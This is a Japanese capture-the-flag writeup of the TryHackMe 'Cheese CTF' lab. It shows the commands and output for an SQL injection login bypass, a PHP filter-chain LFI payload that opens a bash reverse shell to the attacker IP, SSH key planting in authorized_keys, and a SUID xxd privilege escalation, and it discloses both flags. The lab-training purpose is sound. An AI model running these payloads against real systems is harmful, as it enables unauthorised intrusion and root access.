【TryHackMe】Cheese CTF Writeup

# はじめに
今回はTryHackMeのwriteup兼備忘録になります。

今回は難易度がEasyである「[Cheese CTF](https://tryhackme.com/r/room/cheesectfv10)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

Task1とTask3は省略します。

# 環境
| 環境| IPアドレス |
| ---- | ---- |
| 攻撃マシン | 10.8.59.30 |
| ターゲットマシン | 10.10.210.18 |

# Task2 Flags
## What is the user.txt flag?

最初にポートスキャンを行います。
```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.210.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-09 20:00 JST
Nmap scan report for 10.10.210.18
Host is up (0.25s latency).

PORT      STATE SERVICE
1/tcp     open  tcpmux
3/tcp     open  compressnet
4/tcp     open  unknown
6/tcp     open  unknown
7/tcp     open  echo
9/tcp     open  discard
13/tcp    open  daytime
17/tcp    open  qotd
19/tcp    open  chargen
20/tcp    open  ftp-data
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
24/tcp    open  priv-mail
25/tcp    open  smtp
26/tcp    open  rsftp
30/tcp    open  unknown
32/tcp    open  unknown
33/tcp    open  dsp
37/tcp    open  time
42/tcp    open  nameserver
43/tcp    open  whois
49/tcp    open  tacacs
53/tcp    open  domain
70/tcp    open  gopher
79/tcp    open  finger
80/tcp    open  http
81/tcp    open  hosts2-ns
82/tcp    open  xfer
83/tcp    open  mit-ml-dev
...
65389/tcp open  unknown
```

80が空いていたので、ブラウザで見てみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/ce62b7d9-9925-103f-557d-176f3df77669.png)

ページ内を探索していたところ、ログインページを見つけました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/eb893f50-abcf-31ae-b0bb-5f7885300acb.png)

どうやらログインページ内で、SQLインジェクションを実行するとのこと。
SQLインジェクションと言えば「OR 1 = 1」が印象的ですが、パイプを使用した表記が正しいっぽい。[参考](https://github.com/payloadbox/sql-injection-payload-list)

```
' || ' 1 '=' 1 ';-- -
```

ログインできました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/0745eb01-c988-a413-3bcb-3d96ce7094af.png)

「Orders」を選択して遷移されたページのURL「php?file=php://filter」に対し、ローカルファイルインクルード（LFI)が有効であるとのこと。[参考](https://github.com/qazbnm456/awesome-security-trivia/blob/master/Tricky-ways-to-exploit-PHP-Local-File-Inclusion.md)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/419856a3-7b76-184a-ec00-ebf9e7407203.png)

下記の手順を参考にし、ペイロードを作成してリバースシェルを行います。[参考](https://github.com/synacktiv/php_filter_chain_generator/tree/main)

ペイロードを攻撃側マシンに作成します。その際には、攻撃側マシンのIPと任意なポートを指定しておきます。
phpのコードはこちらを参考にしています。[参考](https://gist.github.com/rshipp/eee36684db07d234c1cc)

また「|grep」を加えて、ペイロードに必要な箇所のみ抽出し、任意なファイル名を指定して出力します。
```
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 php_filter_chain_generator.py --chain "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/10.8.59.30/1234 0>&1\"'); ?>" | grep "^php" > payload.txt 
```

netcatコマンドで先ほど指定したポートを待ち受けます。
```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
```

curlコマンドを実行してリクエストを送信し、リバースシェルの取得を試みます。
```
┌──(kali㉿kali)-[~/Downloads]
└─$ curl "http://10.10.210.18//secret-script.php?file=$(cat payload.txt)"    
```

成功しました。
```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.59.30] from (UNKNOWN) [10.10.210.18] 37348
bash: cannot set terminal process group (874): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cheesectf:/var/www/html$ 
```

ターゲット先で「user.txt」を見つけましたが、権限上確ファイルの中身の確認ができませんでした。
```
www-data@cheesectf:/var/www/html$ cd /home
cd /home
www-data@cheesectf:/home$ ls
ls
comte
www-data@cheesectf:/home$ cd comte
cd comte
www-data@cheesectf:/home/comte$ ls
ls
snap
user.txt
www-data@cheesectf:/home/comte$ 
www-data@cheesectf:/home/comte$ ls -l
ls -l
total 12
drwx------ 3 comte comte 4096 Mar 25  2024 snap
-rw------- 1 comte comte 4276 Sep 15  2023 user.txt
```

何か権限昇格できないかを参考サイトを参考にLinPEASを実行します。[参考](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)

ターゲット環境でスクリプトの実行ができそうな「tmp」内での実行を試みます。
```
www-data@cheesectf:/$ ls -l
ls -l
total 2097220
lrwxrwxrwx   1 root root          7 Mar 14  2023 bin -> usr/bin
drwxr-xr-x   4 root root       4096 Mar 28  2024 boot
drwxr-xr-x  16 root root       3920 Oct 13 04:32 dev
drwxr-xr-x 105 root root       4096 Apr  4  2024 etc
drwxr-xr-x   3 root root       4096 Sep 27  2023 home
lrwxrwxrwx   1 root root          7 Mar 14  2023 lib -> usr/lib
lrwxrwxrwx   1 root root          9 Mar 14  2023 lib32 -> usr/lib32
lrwxrwxrwx   1 root root          9 Mar 14  2023 lib64 -> usr/lib64
lrwxrwxrwx   1 root root         10 Mar 14  2023 libx32 -> usr/libx32
drwx------   2 root root      16384 Sep 27  2023 lost+found
drwxr-xr-x   2 root root       4096 Mar 25  2024 media
drwxr-xr-x   2 root root       4096 Mar 14  2023 mnt
drwxr-xr-x   2 root root       4096 Mar 29  2024 opt
dr-xr-xr-x 170 root root          0 Oct 13 04:31 proc
drwx------   6 root root       4096 Apr  4  2024 root
drwxr-xr-x  30 root root        880 Oct 13 04:32 run
lrwxrwxrwx   1 root root          8 Mar 14  2023 sbin -> usr/sbin
drwxr-xr-x   6 root root       4096 Mar 14  2023 snap
drwxr-xr-x   2 root root       4096 Mar 14  2023 srv
-rw-------   1 root root 2147483648 Sep 27  2023 swap.img
dr-xr-xr-x  13 root root          0 Oct 13 04:31 sys
drwxrwxrwt   2 root root       4096 Oct 13 06:04 tmp
drwxr-xr-x  14 root root       4096 Mar 14  2023 usr
drwxr-xr-x  14 root root       4096 Sep 27  2023 var

```

攻撃側の環境でスクリプトをダウンロードしておきます。
```
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

その後に、サーバを立ち上げます。
```
┌──(kali㉿kali)-[~/Downloads]
└─$ python -m http.server 80
```

ターゲット環境先で、攻撃マシンからスクリプトをダウンロードします。
```
www-data@cheesectf:/lib$ cd ../tmp
cd ../tmp
www-data@cheesectf:/tmp$ wget http://10.8.59.30/linpeas.sh
wget http://10.8.59.30/linpeas.sh
--2024-10-13 06:04:36--  http://10.8.59.30/linpeas.sh
Connecting to 10.8.59.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 824745 (805K) [text/x-sh]
Saving to: 'linpeas.sh'

     0K .......... .......... .......... .......... ..........  6% 81.5K 9s
    50K .......... .......... .......... .......... .......... 12%  162K 7s
   100K .......... .......... .......... .......... .......... 18%  164K 5s
   150K .......... .......... .......... .......... .......... 24%  161K 5s
   200K .......... .......... .......... .......... .......... 31% 8.31M 3s
   250K .......... .......... .......... .......... .......... 37% 9.97M 3s
   300K .......... .......... .......... .......... .......... 43%  166K 2s
   350K .......... .......... .......... .......... .......... 49% 17.2M 2s
   400K .......... .......... .......... .......... .......... 55% 9.48M 1s
   450K .......... .......... .......... .......... .......... 62% 9.91M 1s
   500K .......... .......... .......... .......... .......... 68% 10.1M 1s
   550K .......... .......... .......... .......... .......... 74%  171K 1s
   600K .......... .......... .......... .......... .......... 80% 9.71M 1s
   650K .......... .......... .......... .......... .......... 86% 9.31M 0s
   700K .......... .......... .......... .......... .......... 93% 9.99M 0s
   750K .......... .......... .......... .......... .......... 99% 9.53M 0s
   800K .....                                                 100% 7.73M=2.2s

2024-10-13 06:04:39 (369 KB/s) - 'linpeas.sh' saved [824745/824745]

www-data@cheesectf:/tmp$ 
```

ダウンロードしたスクリプトに実行権限を付与します。
```
lswww-data@cheesectf:/tmp$  -
www-data@cheesectf:/tmp$ l
ls -l
total 808
-rw-r--r-- 1 www-data www-data 824745 Oct 11 02:05 linpeas.sh
www-data@cheesectf:/tmp$ chmod +x linepeas.sh
chmod +x linepeas.sh
chmod: cannot access 'linepeas.sh': No such file or directory
www-data@cheesectf:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@cheesectf:/tmp$ ls -l
ls -l
total 808
-rwxr-xr-x 1 www-data www-data 824745 Oct 11 02:05 linpeas.sh
www-data@cheesectf:/tmp$ 
```

実行します。
```
www-data@cheesectf:/tmp$ sh linpeas.sh
```

結果を確認したところ、下記ファイルには書き込みが可能であるとのこと。

```
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files        
/dev/mqueue                                                                      
/dev/shm
/etc/systemd/system/exploit.timer
/home/comte/.ssh/authorized_keys
/run/lock
/run/lock/apache2
/run/screen
/snap/core20/2015/run/lock
/snap/core20/2015/tmp
/snap/core20/2015/var/tmp
/snap/core20/2182/run/lock
/snap/core20/2182/tmp
/snap/core20/2182/var/tmp
/tmp
/tmp/linpeas.sh
/tmp/tmux-33
/var/cache/apache2/mod_cache_disk
/var/crash
/var/lib/php/sessions
/var/tmp
```

authorized_keysの変更が可能である事を確認した為、攻撃環境で発行したSSHキーを書き込み、パスワードなしでssh接続によるログインを試みます。

```
──(kali㉿kali)-[~/Downloads]
└─$ sudo ssh-keygen -t rsa 
[sudo] password for kali: 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:TmBLdM05tIk6rf2BrhhyXJZc5/d2VfPb8CP+VIOMO3E root@kali
The key's randomart image is:
+---[RSA 3072]----+
|      . .+..     |
|     . . .=o     |
|      + o +.   ..|
|     + B o  o . +|
|      O S .o.E..+|
|   . o * . .+. o*|
|  . + . + .o .o++|
|   o o . . .o.o..|
|    . ... .  ... |
+----[SHA256]-----+
```

「root」フォルダにSSHキーが作成されるので、内容を確認しターゲット環境に書き込みます。
```
──(kali㉿kali)-[~/Downloads]
└─$ sudo cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1QlQxMnLUWrDgzFoihkKjEBtSHUB4G+r3GXPDlsuhv3I+Beb53updUVHjMl52qnmPlqYP+yibm0yjUrqYCvBGL1872Styrt+ZOaysEOR7RAZ7f8c5USYXYOkVoM0xs+6dGG
...
```

```
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1QlQxMnLUWrDgzFoihkKjEBtSHUB4G+r3GXPDlsuhv3I+Beb53updUVHjMl52qnmPlqYP+yibm0yjUrqYCvBGL1872Styrt+ZOaysEOR7RAZ7f8c5USYXYOkVoM0xs+6dGG
... > /home/comte/.ssh/authorized_keys
```

rootにログインをし、ssh接続を行います。
```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo su - root                                 
┌──(root㉿kali)-[~]
└─# ssh -i id_rsa comte@10.10.210.18
Warning: Identity file id_rsa not accessible: No such file or directory.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 13 Oct 2024 08:04:46 AM UTC

  System load:  0.72               Processes:             139
  Usage of /:   31.1% of 18.53GB   Users logged in:       0
  Memory usage: 14%                IPv4 address for ens5: 10.10.210.18
  Swap usage:   0%


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

47 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr  4 17:26:03 2024 from 192.168.0.112
comte@cheesectf:~$ ^C
```

テキストファイルを確認し、一つ目のフラグ獲得になります。
```
comte@cheesectf:~$ ls
snap  user.txt
comte@cheesectf:~$ cat user.txt 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a}
comte@cheesectf:~$ 
```

## What is the root.txt flag?
現在のユーザーで、sudoコマンドの実行が可能なものを確認します。

```
comte@cheesectf:/$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer
```

「exploit.timer」というファイルが実行されているようなので、探してみます。
```
comte@cheesectf:/$ find -name "exploit.timer"
...
find: ‘./lost+found’: Permission denied
./etc/systemd/system/exploit.timer
find: ‘./etc/ssl/private’: Permission denied
...
```

見つけたので、中身を見てみます。
```
comte@cheesectf:/$ cat /etc/systemd/system/exploit.timer
[Unit]                                                                                                                                                                                   
Description=Exploit Timer                                                                                                                                                                
                                                                                                                                                                                         
[Timer]                                                                                                                                                                                  
OnBootSec=                                                                                                                                                                               
                                                                                                                                                                                         
[Install]                                                                                                                                                                                
WantedBy=timers.target
```

OnBootSecに任意な数値を入れてみます。
```
comte@cheesectf:/$ vim /etc/systemd/system/exploit.timer                                                                                                                              
comte@cheesectf:/$                                                                                                                                                                       
comte@cheesectf:/$ cat /etc/systemd/system/exploit.timer                                                                                                                      
[Unit]                                                                                                                                                                                   
Description=Exploit Timer

[Timer]
OnBootSec=10

[Install]
WantedBy=timers.target
comte@cheesectf:/$ 
```

systemctlコマンドについて調べていたところ、ステータス確認ができるみたいなので、そちらを実行してみます。[参考](https://qiita.com/sinsengumi/items/24d726ec6c761fc75cc9)
確認したところ「Active」となっているので、おそらく動いているっぽい。

```
comte@cheesectf:/$ /bin/systemctl status exploit.timer
● exploit.timer - Exploit Timer
     Loaded: loaded (/etc/systemd/system/exploit.timer; enabled; vendor preset: enabled)
     Active: active (elapsed) since Sun 2024-10-13 10:21:55 UTC; 3min 23s ago
    Trigger: n/a
   Triggers: ● exploit.service
comte@cheesectf:/$ 
```

「exploit.service」ファイルがトリガーとして実行されているようでしたので、「exploit.timer」と同じディレクトリにあるそのファイルを見てみます。
```
comte@cheesectf:/etc/systemd/system$ cat exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
comte@cheesectf:/etc/systemd/system$ 
```

内容を確認するに、「/opt」にSUIDの実行権限が付与された「xxd」がコピーされているようです。

下記サイトを参考に、「root.txt」ファイルの読み込みを試みます。[参考](https://gtfobins.github.io/gtfobins/xxd/)

```
comte@cheesectf:/opt$ LFILE=/root/root.txt
comte@cheesectf:/opt$ ./xxd "$LFILE" | xxd -r
      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|


THM{dca75486094810807faf4b7b0a929b11e5e0167c}
```
無事2つ目のフラグを獲得できました。

以上になります。
(かなり難しかった。。。)